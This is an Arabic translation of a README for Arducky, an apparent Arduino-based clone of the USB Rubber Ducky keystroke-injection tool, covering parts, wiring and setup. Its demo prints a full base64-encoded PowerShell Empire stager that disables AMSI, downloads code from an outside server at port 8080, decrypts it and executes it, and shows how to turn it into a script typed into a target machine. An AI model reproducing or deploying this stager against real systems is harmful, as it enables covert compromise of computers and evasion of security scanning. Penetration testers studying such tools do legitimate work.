
Arducky - مترجم Arduino Ducky Script
يهدف هذا المشروع إلى إنشاء بديل رخيص (ولكن ليس أقل كفاءة) لـ Hak5's USB Rubber Ducky.
إن USB Rubber Ducky هو جهاز HID (واجهة بشرية) قابل للبرمجة بلغة سكريبت بسيطة تسمح لمختبري الاختراق بصياغة ونشر حمولات تدقيق أمني بسرعة وسهولة تحاكي إدخال لوحة المفاتيح البشرية.
باستخدام Arducky، تحتاج فقط إلى التعامل مع Ducky Script المخزنة على بطاقة MicroSD.
بعد الإعداد، لن تحتاج بعد الآن إلى إعادة برمجة Arduino لتغيير السكريبتات.
| الكمية | القطعة | السعر | الوصف |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V Board | $4.11 | متوافق مع بروتوكول USB، يمكن استخدامه كفأرة HID أو لوحة مفاتيح |
| 1 | Micro SD Memory Shield | $0.78 | |
| 1 | Micro USB OTG Adapter | $0.99 | اختياري. يمكن استخدامه لاستبدال كابل micro USB |
| 1 | DuPont Wires | $1.28 | |
| 1 | Micro SD Card | $18.00 | هذا مجرد مثال، أشك أنك ستحتاج لأكثر من 1GB |
لاستخدام بطاقة Micro SD مع Arducky، يجب تنسيق البطاقة بنظام ملفات FAT32.
أوصي بشدة بتنسيق بطاقة SD الخاصة بك (حتى لو كانت جديدة!) باستخدام أداة SD Memory Card Formatter الرسمية من SDA (رابطة SD) بدلاً من استخدام أدوات التنسيق المقدمة من نظام التشغيل الخاص بك.
الآن بعد أن قمت بتنسيق بطاقة MicroSD، دعنا نوصّل درع MicroSD!
واجهة متحكم MicroSD تحتوي على ستة دبابيس (GND, VCC, MISO, MOSI, SCK, CS).
بناءً على وثائق Arduino SPI، يجب توصيل واجهة التحكم على النحو التالي (باستخدام أسلاك DuPont):

ملاحظة: كما ذكر في قسم الأجهزة، تم تصميم الوحدة للتفاعل مع متحكم دقيق 5V، وبالتالي ستحتاج إلى دبوس 5V على Arduino الخاص بك.


استنساخ المشروع:
git clone https://gitlab.com/Creased/arducky
cd arducky/
إذا كنت تستخدم لوحة مفاتيح AZERTY، فستحتاج أيضًا إلى استبدال مكتبة Keyboard الخاصة بك (Keyboard.cpp و Keyboard.h) بـ المكتبة المضمنة.
قم برفع السكيتش arducky.ino إلى لوحة Arduino باستخدام Arduino IDE.
لإنشاء ملف arducky_femto.ino مع حمولة Ducky Script، يمكنك استخدام femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
مثال:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire هو إطار عمل ما بعد الاستغلال ينفذ القدرة على تشغيل وكلاء PowerShell دون الحاجة إلى powershell.exe، ووحدات ما بعد الاستغلال القابلة للنشر بسرعة تتراوح من مسجّلي ضغطات المفاتيح إلى Mimikatz.
في هذا العرض التوضيحي، سنقوم بنشر Empire على خادم بعيد (مثل VPS) على عقدة Docker وسنستخدم Arducky للانضمام إليه.
يرجى اتباع الخطوات الموضحة في هذا الدليل.
عند إعداد Empire جديد، يجب أن تحصل على حمولة مثل (انظر مجلد demo/):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
احفظه في ملف باسم stager.txt وقم بتشغيل سكريبت create_script.sh لإنشاء سكريبت Ducky:
./create_script.sh
انسخ ملف script.txt المُنشأ إلى جذر نظام ملفات بطاقة MicroSD وقم بتشغيل Arducky.
إليك فيديو يوضح الهجوم:
Voilà!
